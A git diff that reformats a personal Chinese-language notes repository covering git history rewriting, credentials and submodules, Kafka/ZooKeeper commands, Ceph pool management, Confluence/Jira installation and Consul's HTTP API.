HEAD~30..HEAD 指定从当前分支最近30次提交开始遍历 - 2. 强制覆盖 `` git push -f `` 如果push失败,前往git库->settings->protected Branches修改,去除保护,再重新执行。(去除成功后,务必记得修改回来) -13. 重写历史,删除铭感文件内容 -- 使用 filter-repo + 1. 删除指定文件或目录,提交 `git filter-branch --tree-filter 'rm -rf src/Info' head` + 2. --all 标志以处理所有分支和标签 + 3. head 指定从当前分支的最新一次提交开始遍历 HEAD~30..HEAD 指定从当前分支最近30次提交开始遍历 + 4. 强制覆盖 `git push -f` 如果push失败,前往git库->settings->protected Branches修改,去除保护,再重新执行。(去除成功后,务必记得修改回来) + +15. 重写历史,删除铭感文件内容 -- 使用 filter-repo + ```sh pip install git-filter-repo @@ -187,133 +222,158 @@ ``` ## Git免密登陆 + ### https方式-明文 + - 参考 https://www.cnblogs.com/cheyunhua/p/7945109.html 1. 方式一 将账户密码保存进文本里 - 1. 查看凭证 git config -l| grep credential.helper - 2. 设置凭证 credential.helper = 凭证名字 - git config --global credential.helper 凭证名字 +2. 查看凭证 git config -l| grep credential.helper - 1. 执行完以上命令后,~/.git/config文件里面会多一项配置 - config - ```conf - [credential] - helper = 凭证名字 - ``` - 1. 第一次推送的时候输入账号密码,第二次往后都不需要再输入密码了。 - --global 表示对该用户全局生效。 - --local 默认为--local,只对本项目生效。 +3. 设置凭证 credential.helper = 凭证名字 + git config --global credential.helper 凭证名字 - 1. 或者直接Copy上面配置的内容到 .git/config文件里面即可。 - .git/config - .git-credentials +4. 执行完以上命令后,~/.git/config文件里面会多一项配置 + config -1. 方式二 clone时将账户密码放入源里,单次生效 ``git clone http://username:password@git.github.com/username/project.git`` + ```conf + [credential] + helper = 凭证名字 + ``` + +5. 第一次推送的时候输入账号密码,第二次往后都不需要再输入密码了。 + --global 表示对该用户全局生效。 + --local 默认为--local,只对本项目生效。 + +6. 或者直接Copy上面配置的内容到 .git/config文件里面即可。 + .git/config\ + .git-credentials + +7. 方式二 clone时将账户密码放入源里,单次生效 `git clone http://username:password@git.github.com/username/project.git` + +8. 方式三 将账户密码永久放在本地的源里面 + + ```bash + git remote rm origin + git remote add origin http://username:password@git.github.com/username/project.git + ``` -2. 方式三 将账户密码永久放在本地的源里面 - ```bash - git remote rm origin - git remote add origin http://username:password@git.github.com/username/project.git - ``` ### ssh方式 -1. 生成公钥私钥 ``ssh-keygen -t rsa -C 'Git邮箱' `` + +1. 生成公钥私钥 `ssh-keygen -t rsa -C 'Git邮箱' ` 2. 将生成的公钥放入Git公共仓库上 3. 指定git使用的私钥 - - https://blog.csdn.net/SCHOLAR_II/article/details/72191042 - - `` GIT_SSH_COMMAND="ssh -i ${privateKeyPath}" git pull `` -4. 测试连接git服务 ``ssh -T git@github.com -p22 `` + - https://blog.csdn.net/SCHOLAR_II/article/details/72191042 + - `GIT_SSH_COMMAND="ssh -i ${privateKeyPath}" git pull` -5. 使用ssh方式访问git服务 ``git clone ssh://git@域名:端口/用户名/仓库名.git`` +4. 测试连接git服务 `ssh -T git@github.com -p22 ` + +5. 使用ssh方式访问git服务 `git clone ssh://git@域名:端口/用户名/仓库名.git` ### 解决错误 -1. 问题 ``git: 'credential-凭证名字' is not a git command. See 'get --help'.`` -2. 方案 - - 部分windows系统缺少微软的 Git Credential Manager - - 安裝 Git Credential Manager for Windows即可解决该问题 - - 下载地址 https://github.com/Microsoft/Git-Credential-Manager-for-Windows/releases/latest - ```bash - # 查看凭证 - git config --global credential.helper - ``` + +1. 问题 `git: 'credential-凭证名字' is not a git command. See 'get --help'.` +2. 方案 + - 部分windows系统缺少微软的 Git Credential Manager + - 安裝 Git Credential Manager for Windows即可解决该问题 + - 下载地址 https://github.com/Microsoft/Git-Credential-Manager-for-Windows/releases/latest + ```bash + # 查看凭证 + git config --global credential.helper + ``` ## Git仓库内的特殊文件 + 1. 文件忽略 - 1. .gitignore + 1. .gitignore ## 子模块 + ### SubModule 与 SubTree + - git submodule类似于引用,而git subtree类似于拷贝,比如你在一篇博客中想用到你另一篇博客的内容,git submodule是使用那篇博客的链接,而git subtree则是将内容完全copy过来。 - 参考文档: - 1. https://blog.csdn.net/liusf1993/article/details/72765131 - 2. https://tech.youzan.com/git-subtree/ - 3. https://blog.devtang.com/2013/05/08/git-submodule-issues/ + 1. https://blog.csdn.net/liusf1993/article/details/72765131 + 2. https://tech.youzan.com/git-subtree/ + 3. https://blog.devtang.com/2013/05/08/git-submodule-issues/ + ### SubModule + - https://git-scm.com/book/en/v2/Git-Tools-Submodules -1. 添加子模块 ``git submodule add 仓库地址 保存的文件夹名字(默认为仓库名)`` +1. 添加子模块 `git submodule add 仓库地址 保存的文件夹名字(默认为仓库名)` -1. 删除子模块 - - 删除.gitmodule文件中对应的submodule - - 删除.git/config文件中对应的submodule - - 删除submodule对应的文件夹 +2. 删除子模块 -1. 设置子模块的临时仓库地址 ``git config submodule.子项目名.url`` +- 删除.gitmodule文件中对应的submodule +- 删除.git/config文件中对应的submodule +- 删除submodule对应的文件夹 -1. 从github克隆含有子模块的项目 - ```bash - # 方式一 - git submodule init - git submodule update - # 方式二 - git submodule update --init - # 方式三 - git clone 主仓库地址 --init --recurse-submodules - ``` +1. 设置子模块的临时仓库地址 `git config submodule.子项目名.url` -1. 从github更新子项目代码 - 1. 方式一 进入子项目,进行更新 +2. 从github克隆含有子模块的项目 - 2. 方式二 - ```bash - git pull - git submodule update --remote 子项目文件夹名(默认所有的子项目) - # 默认会merge master分支 - # 修改默认更新merge的分支 - git config -f .gitmodules submodule.子项目文件夹名.branch 分支名 - ``` - 3. 方式三 - git submodule sync --recursive + ```bash + # 方式一 + git submodule init + git submodule update + # 方式二 + git submodule update --init + # 方式三 + git clone 主仓库地址 --init --recurse-submodules + ``` + +3. 从github更新子项目代码 + + 1. 方式一 进入子项目,进行更新 + + 2. 方式二 + + ```bash + git pull + git submodule update --remote 子项目文件夹名(默认所有的子项目) + # 默认会merge master分支 + # 修改默认更新merge的分支 + git config -f .gitmodules submodule.子项目文件夹名.branch 分支名 + ``` + + 3. 方式三\ + git submodule sync --recursive + +4. 修改子项目代码 -2. 修改子项目代码 - - 进入子项目修改代码,然后add commit push - - 进入主项目,然后add commit push + - 进入子项目修改代码,然后add commit push + - 进入主项目,然后add commit push ## Git service + - https://github.com/gogs/gogs - https://github.com/Nightonke/Gitee - Gitlab - Github ## 加密工具 + 1. git-secret 通过shell脚本 2. git-crypt 通过二进制可执行文件 3. BlackBox ### git-secret + - 参考 https://www.mikesay.com/2020/12/16/git-encrypt-file-in-repository/ + ```bash # 安装 brew install gpg2 brew install git-secret ``` - ## Windows删除免密登入 + ``` 在 Windows 系统下,VSCode 使用 Git 存储和管理 GitHub 登录凭据。默认情况下,Git 会使用 Windows Credential Manager 存储凭据。要删除存储在其中的 GitHub 登录信息,请遵循以下步骤: @@ -326,25 +386,27 @@ brew install git-secret 完成上述操作后,GitHub 登录信息将被从 VSCode 中删除。当您下次尝试执行需要认证的操作时(例如推送代码),VSCode 会提示您重新输入 GitHub 用户名和密码。 ``` - ## 报错与解决 + ```log error: 1242 bytes of body are still expected ``` + ```bash # 增加缓冲区大小 git config --global http.postBuffer 1024M ``` + ```bash # compression 表示压缩,从 clone 的终端输出就知道,服务器会压缩目标文件,然后传输到客户端,客户端再解压。取值为 [-1, 9],-1 以 zlib 为默认压缩库,0 表示不进行压缩,1…9 是压缩速度与最终获得文件大小的不同程度的权衡,数字越大,压缩越慢,得到的文件会越小。 git config --global core.compression 0 ``` 1. 使用了--depth克隆的仓库就是一个浅克隆的仓库,并不完整。 - 1. 只包含远程仓库的HEAD分支。 - 2. 没有远程仓库的tags。 - 3. 不fetch子仓库(submodules)。 - 4. --depth=N 只克隆最进N次的提交记录。 +2. 只包含远程仓库的HEAD分支。 +3. 没有远程仓库的tags。 +4. 不fetch子仓库(submodules)。 +5. --depth=N 只克隆最进N次的提交记录。 ```bash # 浅克隆 # @@ -352,4 +414,4 @@ git fetch --depth=1 $URL git fetch --depth=100 git fetch --depth=500 git fetch --unshallow # 将仓库转化为非浅克隆状态 -``` \ No newline at end of file +``` diff --git a/software/ZK&Kafaka.md b/software/ZK&Kafaka.md index 606f9bd..1996c18 100644 --- a/software/ZK&Kafaka.md +++ b/software/ZK&Kafaka.md @@ -1,32 +1,47 @@ -# zookeeper +--- +created_date: 2020-11-24 +--- + +[TOC] + +# zookeeper + ## 概念 + 1. 需求与愿景 - 1. 分布式架构出现后,越来越多的分布式系统会面临数据一致性的问题. - 2. zookeeper作为分布式协调框架,存储数据,保证分布式系统数据的最终一致性。 - 3. 功能包括: 配置维护、域名服务、分布式同步、组服务等 + + 1. 分布式架构出现后,越来越多的分布式系统会面临数据一致性的问题. + 2. zookeeper作为分布式协调框架,存储数据,保证分布式系统数据的最终一致性。 + 3. 功能包括: 配置维护、域名服务、分布式同步、组服务等 2. 集群的节点必须是基数 - 1. 防止脑裂 - 2. 容错(n-1)/2 + + 1. 防止脑裂 + 2. 容错(n-1)/2 ## 运维 + 1. 默认端口 2181 2. 查看集群状态 -echo status | nc localhost 2181 + echo status | nc localhost 2181 # Kafka ## 概念 + 1. Kafka 可以作为 消息队列,消息总线,数据存储平台 + 2. topic里的数据会被保存在ZK里 3. 版本 - - 0.8以前的kafka,消费的进度(offset)是写在zk中的,所以consumer需要知道zk的地址,这个方案有性能问题。0.9以及后来的版本都统一由broker管理消费进度,所以consumer就直接请求bootstrap-server,不再需要和 zookeeper 通信了。 + + - 0.8以前的kafka,消费的进度(offset)是写在zk中的,所以consumer需要知道zk的地址,这个方案有性能问题。0.9以及后来的版本都统一由broker管理消费进度,所以consumer就直接请求bootstrap-server,不再需要和 zookeeper 通信了。 ## 运维 - 部署kafka客户端 + ```bash sudo yum install java-1.8.0 wget https://archive.apache.org/dist/kafka/2.2.1/kafka_2.12-2.2.1.tgz @@ -36,8 +51,11 @@ tar -xzf kafka_2.12-2.2.1.tgz - 默认端口 9092 ## Kafka操作指令 + ### 基本操作 + 1. 启停 + ```bash # 起zk bin/zookeeper-server-start.sh config/zookeeper.properties & @@ -46,7 +64,9 @@ bin/kafka-server-start.sh -daemon ../config/server.properties # 停kafka bin/kafka-server-stop.sh ``` + 2. zk级别操作 + ```bash Topic='test-topic-1' IP= @@ -64,11 +84,13 @@ bin/kafka-topics.sh --delete --zookeeper ${IP}:2181 --topic ${Topic} 3. kafka级别操作 client.properties + ```conf # cp /usr/lib/jvm/JDKFolder/jre/lib/security/cacerts /tmp/kafka.client.truststore.jks security.protocol=SSL ssl.truststore.location=/tmp/kafka.client.truststore.jks ``` + ```bash # 1. 往topic里面发送消息 bin/kafka-console-producer.sh --broker-list ${IP}:9092 --topic ${Topic} # 交互式 @@ -94,4 +116,4 @@ bin/kafka-run-class.sh kafka.tools.GetOffsetShell --topic ${topic_name} --time # --time -1 获取指定topic所有分区当前的最大位移,表示的是历史上该topic生产的最大消息数量 # --time -2 获取当前最早位移,表示被删除的消息数量 # 当前topic消息数量 = $(--time -1)- $(--time -2) -``` \ No newline at end of file +``` diff --git a/software/ceph/ceph.md b/software/ceph/ceph.md index dbea02f..1ce3c8a 100644 --- a/software/ceph/ceph.md +++ b/software/ceph/ceph.md @@ -1,29 +1,39 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] + ### ceph + - 参考文档 -https://docs.ceph.com/docs/master/start/intro/ -https://blog.csdn.net/zzq900503/article/details/80098084 + https://docs.ceph.com/docs/master/start/intro/ + https://blog.csdn.net/zzq900503/article/details/80098084 - Ceph将数据作为对象存储在逻辑存储池中。 + - 4个组件: - - Monitors ceph-mon 负责监视Ceph集群,维护Ceph集群的健康状态;维护着Ceph集群中的各种Map图。 - - Managers ceph-mgr 管理员。包括基于Web的Ceph Manager Dashboard和 REST API。 - - Ceph OSDs ceph-osd 存储数据。提供一些监控数据给ceph-mon和ceph-mgr。 - - MDSs ceph-mds 存储ceph文件系统的元数据。使用文件存储时才用到。(非必装组件) + + - Monitors ceph-mon 负责监视Ceph集群,维护Ceph集群的健康状态;维护着Ceph集群中的各种Map图。 + - Managers ceph-mgr 管理员。包括基于Web的Ceph Manager Dashboard和 REST API。 + - Ceph OSDs ceph-osd 存储数据。提供一些监控数据给ceph-mon和ceph-mgr。 + - MDSs ceph-mds 存储ceph文件系统的元数据。使用文件存储时才用到。(非必装组件) - ceph 客户端 rbd可执行程序 ### 操作指令 + 1. 打印pool列表 -ceph osd lspools + ceph osd lspools 2. 创建pool -通常在创建pool之前,需要覆盖默认的pg_num,官方推荐: - 若少于5个OSD, 设置pg_num为128。 - 5~10个OSD,设置pg_num为512。 - 10~50个OSD,设置pg_num为4096。 - 超过50个OSD,可以参考pgcalc计算。 -osd pool default pg num = 128 -osd pool default pgp num = 128 + 通常在创建pool之前,需要覆盖默认的pg_num,官方推荐: + 若少于5个OSD, 设置pg_num为128。 + 5~10个OSD,设置pg_num为512。 + 10~50个OSD,设置pg_num为4096。 + 超过50个OSD,可以参考pgcalc计算。 + osd pool default pg num = 128 + osd pool default pgp num = 128 ceph osd pool create {pool-name} {pg-num} ceph osd pool create test-pool 128 @@ -34,27 +44,29 @@ ceph osd pool set-quota test-pool max_objects 100 设置允许每个对象的容量限制为10GB ceph osd pool set-quota test-pool max_bytes $((10 * 1024 * 1024 * 1024)) -3. +3. + 重命名 pool ceph osd pool rename test-pool test-pool-new 4. 删除一个pool会同时清空pool的所有数据,因此非常危险。(和rm -rf /类似)。因此删除pool时ceph要求必须输入两次pool名称,同时加上--yes-i-really-really-mean-it选项。 -ceph osd pool delete test-pool test-pool --yes-i-really-really-mean-it + ceph osd pool delete test-pool test-pool --yes-i-really-really-mean-it 5. 查看pool状态信息 -rados df + rados df 6. 获取当前副本数 -ceph osd pool get $test-pool size + ceph osd pool get $test-pool size ### old + 10-80-93-153 10-80-88-115 10-80-101-43 10.80.93.153 10.80.88.115 10.80.101.43 https://cbs.centos.org/kojifiles/packages/python-itsdangerous/0.23/1.el7/noarch/python-itsdangerous-0.23-1.el7.noarch.rpm -rpm -Uvh +rpm -Uvh vim ceph.conf默认osd为3,根据需求修改配置 osd pool default size = 2 @@ -95,10 +107,7 @@ cat /sys/fs/cgroup/memory/system.slice/memory.limit_in_bytes 3ef5beb0-88a0-4c16-a4e9-a3ce4a27e5c6 - 对象存储(RADOSGW)、块存储RDB以及 CephFS 文件系统 https://github.com/ceph/ceph https://github.com/ceph/ceph-ansible https://docs.ceph.com/docs/master/start/documenting-ceph/ - - diff --git a/software/confluence&jira.md b/software/confluence&jira.md index 17833bc..bb43814 100644 --- a/software/confluence&jira.md +++ b/software/confluence&jira.md @@ -1,98 +1,118 @@ +--- +created_date: 2024-11-19 +--- + +[TOC] + # Confluence + - 功能 - - 一个知识管理的工具/收费的 + - 一个知识管理的工具/收费的 + ## 安装 + - 依赖软件 - - Linux操作系统 - - Java - - MySQL - - mysql-connector-java-版本号 - - Confluence + - Linux操作系统 + - Java + - MySQL + - mysql-connector-java-版本号 + - Confluence + ### 配置文件 + 1. tomcat配置文件 atlassian/confluence-6.9/conf/server.xml - ```xml - - - - - ``` + ```xml + + + + + ``` 2. 数据路径配置文件 atlassian/confluence-6.9/confluence/WEB-INF/classes/confluence-init.properties - ```conf - # 存放confluence运行过程中产生的数据,如用户上传的附件。 - confluence.home = /var/atlassian/application-data/confluence - ``` + ```conf + # 存放confluence运行过程中产生的数据,如用户上传的附件。 + confluence.home = /var/atlassian/application-data/confluence + ``` 3. 数据库配置文件 /var/atlassian/application-data/confluence/confluence.cfg.xml - ```xml - username - jdbc:mysql://localhost/confluence - password - ``` + ```xml + username + jdbc:mysql://localhost/confluence + password + ``` 4. java启动参数配置文件 atlassian/confluence-6.9/bin/setenv.sh - ```conf - # 在JVM中如果98%的时间是用于GC且可用的 Heap size 不足2%的时候将抛出java.lang.OutOfMemoryError: Java heap space异常信息 - # 默认为1024m - CATALINA_OPTS="-s4096m -Xmx4096m -XX:+UseG1GC ${CATALINA_OPTS}" - ``` -5. 启动 - ```bash - # 测试是否有报错 - ./atlassian/confluence-6.9/bin/configtest.sh - # 启动 - ./atlassian/confluence-6.9/bin/startup.sh - ``` + ```conf + # 在JVM中如果98%的时间是用于GC且可用的 Heap size 不足2%的时候将抛出java.lang.OutOfMemoryError: Java heap space异常信息 + # 默认为1024m + CATALINA_OPTS="-s4096m -Xmx4096m -XX:+UseG1GC ${CATALINA_OPTS}" + ``` +5. 启动 + ```bash + # 测试是否有报错 + ./atlassian/confluence-6.9/bin/configtest.sh + # 启动 + ./atlassian/confluence-6.9/bin/startup.sh + ``` ## 插件 + 1. confluence 统计页面访问量插件Page View Tracker --免费 - - https://marketplace.atlassian.com/plugins/net.kentcom.page-view-tracker/server/overview + - https://marketplace.atlassian.com/plugins/net.kentcom.page-view-tracker/server/overview ## 报错与解决 + ### Confluence最近更新不显示最近更新的内容/内容页面权限限制无法使用 + - 报错日志${confluence.home}/atlassian-confluence.log - ```log - 2021-07-29 16:04:25,446 ERROR [Caesium-1-4] [impl.schedule.caesium.JobRunnerWrapper] runJob Scheduled job com.atlassian.confluence.plugins.confluence-edge-index:flushEdgeIndexQueueJob#flushEdgeIndexQueue failed to run - com.atlassian.bonnie.LuceneException: com.atlassian.confluence.api.service.exceptions.ServiceException: Failed to process entries - ... - ... - Caused by: org.springframework.dao.DataAccessResourceFailureException: Failed to read id for journal 'edge_index': null; nested exception is java.lang.NumberFormatException: null - at com.atlassian.confluence.impl.journal.FilesystemJournalStateStore.getMostRecentId(FilesystemJournalStateStore.java:47) - at com.atlassian.confluence.impl.journal.CachingJournalStateStore.lambda$getMostRecentId$0(CachingJournalStateStore.java:27) - at com.atlassian.vcache.internal.core.metrics.TimedSupplier.get(TimedSupplier.java:32) - at com.atlassian.vcache.internal.legacy.LegacyJvmCache.lambda$get$4(LegacyJvmCache.java:52) - at java.util.Optional.orElseGet(Optional.java:267) - at com.atlassian.vcache.internal.legacy.LegacyJvmCache.get(LegacyJvmCache.java:50) - at com.atlassian.vcache.internal.core.metrics.TimedLocalCacheOperations.get(TimedLocalCacheOperations.java:64) - at com.atlassian.confluence.impl.journal.CachingJournalStateStore.getMostRecentId(CachingJournalStateStore.java:27) - at com.atlassian.confluence.impl.journal.DefaultJournalManager.processEntries(DefaultJournalManager.java:79) - at com.atlassian.confluence.impl.journal.DefaultJournalService.processEntries(DefaultJournalService.java:41) - ... 75 more - Caused by: java.lang.NumberFormatException: null - at java.lang.Long.parseLong(Long.java:552) - at java.lang.Long.parseLong(Long.java:631) - at com.atlassian.confluence.impl.journal.FilesystemJournalStateStore.getMostRecentId(FilesystemJournalStateStore.java:44) - ... 84 more - ``` + + ```log + 2021-07-29 16:04:25,446 ERROR [Caesium-1-4] [impl.schedule.caesium.JobRunnerWrapper] runJob Scheduled job com.atlassian.confluence.plugins.confluence-edge-index:flushEdgeIndexQueueJob#flushEdgeIndexQueue failed to run + com.atlassian.bonnie.LuceneException: com.atlassian.confluence.api.service.exceptions.ServiceException: Failed to process entries + ... + ... + Caused by: org.springframework.dao.DataAccessResourceFailureException: Failed to read id for journal 'edge_index': null; nested exception is java.lang.NumberFormatException: null + at com.atlassian.confluence.impl.journal.FilesystemJournalStateStore.getMostRecentId(FilesystemJournalStateStore.java:47) + at com.atlassian.confluence.impl.journal.CachingJournalStateStore.lambda$getMostRecentId$0(CachingJournalStateStore.java:27) + at com.atlassian.vcache.internal.core.metrics.TimedSupplier.get(TimedSupplier.java:32) + at com.atlassian.vcache.internal.legacy.LegacyJvmCache.lambda$get$4(LegacyJvmCache.java:52) + at java.util.Optional.orElseGet(Optional.java:267) + at com.atlassian.vcache.internal.legacy.LegacyJvmCache.get(LegacyJvmCache.java:50) + at com.atlassian.vcache.internal.core.metrics.TimedLocalCacheOperations.get(TimedLocalCacheOperations.java:64) + at com.atlassian.confluence.impl.journal.CachingJournalStateStore.getMostRecentId(CachingJournalStateStore.java:27) + at com.atlassian.confluence.impl.journal.DefaultJournalManager.processEntries(DefaultJournalManager.java:79) + at com.atlassian.confluence.impl.journal.DefaultJournalService.processEntries(DefaultJournalService.java:41) + ... 75 more + Caused by: java.lang.NumberFormatException: null + at java.lang.Long.parseLong(Long.java:552) + at java.lang.Long.parseLong(Long.java:631) + at com.atlassian.confluence.impl.journal.FilesystemJournalStateStore.getMostRecentId(FilesystemJournalStateStore.java:44) + ... 84 more + ``` + - 刷新边际索引队列(Flush Edge Index Queue),能够保证 Confluence 的索引是最新的索引。 每个节点每30s自动执行一次。 -- 解决办法 重建索引 - ```bash - # 参考 https://confluence.atlassian.com/confkb/how-to-rebuild-the-content-indexes-from-scratch-on-confluence-server-110035351.html - 在web界面进入一般配置,点击搜索索引,重构索引。 - 停止 confluence - cd ${confluence.home} && mv journal journal.bak - 启动 confluence - ``` +- 解决办法 重建索引 + + ```bash + # 参考 https://confluence.atlassian.com/confkb/how-to-rebuild-the-content-indexes-from-scratch-on-confluence-server-110035351.html + 在web界面进入一般配置,点击搜索索引,重构索引。 + 停止 confluence + cd ${confluence.home} && mv journal journal.bak + 启动 confluence + ``` # Jira + - 功能 - - 问题跟踪系统,项目管理软件/收费的 + - 问题跟踪系统,项目管理软件/收费的 + ## 安装 + - 依赖软件 - - Linux操作系统 - - Java - - MySQL - - mysql-connector-java-版本号 - - Jira \ No newline at end of file + - Linux操作系统 + - Java + - MySQL + - mysql-connector-java-版本号 + - Jira diff --git a/software/consul.md b/software/consul.md index a58febe..d16a2a7 100644 --- a/software/consul.md +++ b/software/consul.md @@ -1,6 +1,13 @@ +--- +created_date: 2020-11-16 +--- + +[TOC] ### 安装部署 -- 一般建议consul采用集群模式安装,以3+2方式部署,但如受资源限制可采用3server方式部署 + +- 一般建议consul采用集群模式安装,以3+2方式部署,但如受资源限制可采用3server方式部署 + ```bash # 1、创建consul文件夹 datadir=/opt/consul/datadir @@ -59,138 +66,151 @@ nohup consul agent -config-dir ${conf} >> ./consul.log 2>&1 & consul http://bind_addr:8500 ``` + ### 运维须知 + 1. 默认端口 - HTTP: 8500 - DNS: 8600 - RPC: 8300 - LAN: 8301 - WAN: 8302 + HTTP: 8500 + DNS: 8600 + RPC: 8300 + LAN: 8301 + WAN: 8302 2. CLI + - 查看集群的健康状况 -consul members --http-addr 127.0.0.1:8500 + consul members --http-addr 127.0.0.1:8500 - 热更新服务配置 -consul reload + consul reload - 输出所有数据中心的的节点 -consul members -wan + consul members -wan + 3. UI界面 -${bind_addr}:HTTP端口/ui + ${bind_addr}:HTTP端口/ui 4. API + - 查询所有的节点 -curl ${client_addr}:HTTP端口/v1/status/peers -例如: curl 127.0.0.1:8500/v1/status/peers -- 查询所有的服务 -curl ${client_addr}:HTTP端口/v1/agent/services\?pretty -例如: curl 127.0.0.1:8500/v1/agent/services\?pretty + curl ${client_addr}:HTTP端口/v1/status/peers + 例如: curl 127.0.0.1:8500/v1/status/peers +- 查询所有的服务 + curl ${client_addr}:HTTP端口/v1/agent/services?pretty + 例如: curl 127.0.0.1:8500/v1/agent/services?pretty - 查询某个服务的详细信息 -url http://${client_addr}:HTTP端口/v1/catalog/service/服务名 -passing=true : 过滤掉不健康的节点 + url http://${client_addr}:HTTP端口/v1/catalog/service/服务名 + passing=true : 过滤掉不健康的节点 - 查询leader -curl ${client_addr}:HTTP端口/v1/status/leader -例如:curl http://127.0.0.1:8500/v1/status/leader + curl ${client_addr}:HTTP端口/v1/status/leader + 例如:curl http://127.0.0.1:8500/v1/status/leader - 查询失败的健康检查 - curl -s http://localhost:8500/v1/health/state/critical\?pretty + curl -s http://localhost:8500/v1/health/state/critical?pretty - 查询所有的键值信息 -curl http://localhost:8500/v1/kv/?recurse + curl http://localhost:8500/v1/kv/?recurse - 查询所有的数据中心 -curl http://localhost:8500/v1/catalog/datacenters + curl http://localhost:8500/v1/catalog/datacenters - 查询某个数据中心的所有节点 -curl http://localhost:8500/v1/catalog/nodes?dc=dc1 + curl http://localhost:8500/v1/catalog/nodes?dc=dc1 ### 学习 + - 参考资料 -https://blog.csdn.net/liuzhuchen/article/details/81913562 -https://www.consul.io/docs/index.html -提供服务注册,健康检查,键值存储,多数据中心 + https://blog.csdn.net/liuzhuchen/article/details/81913562 + https://www.consul.io/docs/index.html + 提供服务注册,健康检查,键值存储,多数据中心 启动模式:server,client Clent:不会把信息持久化在本地,无状态的,负责转发所有的RPC到server节点。 Server:负责组成 cluster 的复杂工作(选举、状态维护、转发请求到 lead),以及 consul 提供的服务(响应 RCP 请求)。考虑到容错和收敛,一般部署 3 ~ 5 个比较合适。 1. 启动配置 -server:定义agent运行在server模式 -bootstrap-expect :在一个datacenter中期望提供的server节点数目,当该值提供的时候,consul一直等到达到指定sever数目的时候才会引导整个集群,该标记不能和bootstrap共用 -bind:该地址用来在集群内部的通讯,集群内的所有节点到地址都必须是可达的,默认是0.0.0.0 -node:节点在集群中的名称,在一个集群中必须是唯一的,默认是该节点的主机名 -ui-dir: 提供存放web ui资源的路径,该目录必须是可读的 -rejoin:使consul忽略先前的离开,在再次启动后仍旧尝试加入集群中。 -config-dir:配置文件目录,里面所有以.json结尾的文件都会被加载 -client:consul服务侦听地址,这个地址提供HTTP、DNS、RPC等服务,默认是127.0.0.1所以不对外提供服务,如果你要对外提供服务改成0.0.0.0 + server:定义agent运行在server模式 + bootstrap-expect :在一个datacenter中期望提供的server节点数目,当该值提供的时候,consul一直等到达到指定sever数目的时候才会引导整个集群,该标记不能和bootstrap共用 + bind:该地址用来在集群内部的通讯,集群内的所有节点到地址都必须是可达的,默认是0.0.0.0 + node:节点在集群中的名称,在一个集群中必须是唯一的,默认是该节点的主机名 + ui-dir: 提供存放web ui资源的路径,该目录必须是可读的 + rejoin:使consul忽略先前的离开,在再次启动后仍旧尝试加入集群中。 + config-dir:配置文件目录,里面所有以.json结尾的文件都会被加载 + client:consul服务侦听地址,这个地址提供HTTP、DNS、RPC等服务,默认是127.0.0.1所以不对外提供服务,如果你要对外提供服务改成0.0.0.0 2. 注册服务 + - 可以通过提供服务定义文件(放入${-config-dir}文件夹下)或者调用HTTP API来注册一个服务. - json格式 -{ + { "ID": "userServiceId", //服务id "Name": "userService", //服务名 - "Tags": [ //服务的tag,自定义,可以根据这个tag来区分同一个服务名的服务 - "primary", - "v1" - ], + "Tags": \[ //服务的tag,自定义,可以根据这个tag来区分同一个服务名的服务 + "primary", + "v1" + \], "Address": "127.0.0.1",//服务注册到consul的IP,服务发现,发现的就是这个IP - "Port": 8000, //服务注册consul的PORT,发现的就是这个PORT + "Port": 8000, //服务注册consul的PORT,发现的就是这个PORT "EnableTagOverride": false, - "Check": { //健康检查部分 - "DeregisterCriticalServiceAfter": "90m", - "HTTP": "http://www.baidu.com", //指定健康检查的URL,调用后只要返回20X,consul都认为是健康的 - "Interval": "10s" //健康检查间隔时间,每隔10s,调用一次上面的URL + "Check": { //健康检查部分 + "DeregisterCriticalServiceAfter": "90m", + "HTTP": "http://www.baidu.com", //指定健康检查的URL,调用后只要返回20X,consul都认为是健康的 + "Interval": "10s" //健康检查间隔时间,每隔10s,调用一次上面的URL + } } -} - 注册 -curl http://127.0.0.1:8500/v1/agent/service/register -X PUT -i -H "Content-Type:application/json" -d '{ - "ID": "userServiceIdAA", - "Name": "userServiceAA", - "Tags": [ - "primary", - "v1" - ], - "Address": "127.0.0.1", - "Port": 8000, - "EnableTagOverride": false, - "Check": { - "DeregisterCriticalServiceAfter": "2m", - "HTTP": "http:127.0.0.1:9999", - "Interval": "60s" - } -}' + curl http://127.0.0.1:8500/v1/agent/service/register -X PUT -i -H "Content-Type:application/json" -d '{ + "ID": "userServiceIdAA",\ + "Name": "userServiceAA", + "Tags": \[ + "primary", + "v1" + \], + "Address": "127.0.0.1", + "Port": 8000, + "EnableTagOverride": false, + "Check": { + "DeregisterCriticalServiceAfter": "2m", + "HTTP": "http:127.0.0.1:9999", + "Interval": "60s" + } + }' 3. KV键值存储 + - 值 以base64的形式存储 + - cli操作存取 - + consul kv put ${key} ${value} - 例如: consul kv put user/config/connections 5 - + consul kv get -detailed ${key} - consul kv get -detailed user/config/connections + + - consul kv put ${key} ${value} + 例如: consul kv put user/config/connections 5 + - consul kv get -detailed ${key} + consul kv get -detailed user/config/connections + - API操作存取 - + curl -X PUT -d ${key} http://localhost:8500/v1/kv/${value} - 例如 curl -X PUT -d 'test' http://localhost:8500/v1/kv/web/key2?flags=42 - + curl -s http://localhost:8500/v1/kv/${key} - curl -s http://localhost:8500/v1/kv/web/key2 + + - curl -X PUT -d ${key} http://localhost:8500/v1/kv/${value} + 例如 curl -X PUT -d 'test' http://localhost:8500/v1/kv/web/key2?flags=42 + - curl -s http://localhost:8500/v1/kv/${key} + curl -s http://localhost:8500/v1/kv/web/key2 - 更改键的值 -先通过 curl -s http://localhost:8500/v1/kv/${key} 查到ModifyIndex -curl -X PUT -d 'newval' http://localhost:8500/v1/${key}?cas=${ModifyIndex} + 先通过 curl -s http://localhost:8500/v1/kv/${key} 查到ModifyIndex + curl -X PUT -d 'newval' http://localhost:8500/v1/${key}?cas=${ModifyIndex} - 规定时间内等待键的值被改变 - curl "http://localhost:8500/v1/kv/${key}?index=${ModifyIndex}&wait=时间" - 例如 curl "http://localhost:8500/v1/kv/web/key2?index=502663&wait=5s" + curl "http://localhost:8500/v1/kv/${key}?index=${ModifyIndex}&wait=时间" + 例如 curl "http://localhost:8500/v1/kv/web/key2?index=502663&wait=5s" 4. 深度了解 -一致性协议采用Raft算法 -成员管理和消息广播采用GOSSIP协议,支持ACL访问控制 + 一致性协议采用Raft算法 + 成员管理和消息广播采用GOSSIP协议,支持ACL访问控制 Consul使用两个不同的gossip池 + - Consul使用gossip协议来管理成员和广播消息到集群。Serf库实现了gossip协议。 - Consul使用两个不同的gossip池,分别称为LAN和WAN池。 